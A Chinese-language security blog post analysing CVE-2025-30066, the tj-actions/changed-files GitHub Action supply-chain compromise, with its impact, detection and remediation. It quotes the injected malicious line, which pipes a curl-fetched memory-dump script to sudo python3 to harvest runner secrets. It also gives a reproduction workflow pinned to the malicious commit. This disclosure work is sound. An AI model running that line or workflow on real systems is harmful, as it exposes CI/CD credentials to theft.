Featured image of post GitHub Actions供应链攻击漏洞分析:CVE-2025-30066安全事件深度解析

GitHub Actions供应链攻击漏洞分析:CVE-2025-30066安全事件深度解析

本文详细分析了tj-actions/changed-files GitHub Action的供应链攻击事件,攻击者通过修改版本标签注入恶意代码,导致CI/CD密钥泄露,影响超过23,000个代码仓库,涉及秘密信息提取和内存扫描技术。

CVE-2025-30066:tj-actions/changed-files供应链攻击分析

漏洞概述

tj-actions/changed-files在45.0.7及之前版本存在安全漏洞,允许远程攻击者通过读取Actions日志发现敏感密钥。该漏洞被评定为高风险级别(CVSS评分8.6),影响了超过23,000个代码仓库。

漏洞详情

受影响版本

  • 受影响版本:<= 45.0.7
  • 已修复版本:46.0.1

攻击机制

攻击者通过供应链攻击手段,回溯修改了多个版本标签指向恶意提交:

  • 恶意提交SHA:0e58ed8671d6b60d0890c21b07f8835ace038e67
  • 被修改的标签包括:v1.0.0、v35.7.7-sec、v44.5.1

恶意代码执行

攻击注入的恶意脚本会下载并执行Python脚本,扫描Runner Worker进程内存中的密钥,进行Base64编码后记录到工作流日志中:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

漏洞检测与复现

复现步骤

  1. 创建使用受影响版本的工作流配置:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. 运行工作流并检查Actions日志中是否显示密钥信息

检测方法

  • 使用Harden-Runner分析网络流量,检测到未经授权的出站请求:gist.githubusercontent.com
  • StepSecurity的异常检测系统标记了此攻击行为

影响范围

受影响对象

  • 使用tj-actions/changed-files的23,000多个代码仓库
  • 拥有公开仓库的组织面临最高风险

潜在后果

  • CI/CD密钥被盗(API密钥、云凭证、SSH密钥)
  • 对源代码、基础设施和生产环境的未授权访问
  • 公开仓库中的凭证泄露,可能导致进一步的供应链攻击

修复措施

立即行动要求

  1. 审查工作流:检查2025年3月14日至15日期间执行的工作流
  2. 检测异常输出:在changed-files部分查找意外输出
  3. 解码可疑内容:使用命令echo 'xxx' | base64 -d | base64 -d

版本更新

  • 直接引用恶意SHA的工作流:立即更新
  • 使用标签版本的工作流:无需操作(标签已更新为安全版本)

密钥轮换

作为预防措施,轮换在此时间段内可能暴露的所有密钥

技术指标

CVSS v3基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 范围:已更改
  • 机密性影响:高

弱点分类

  • CWE-506:嵌入式恶意代码

参考资源

包括NVD漏洞详情、GitHub问题跟踪、安全厂商分析报告以及CISA安全警报等权威信息来源。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计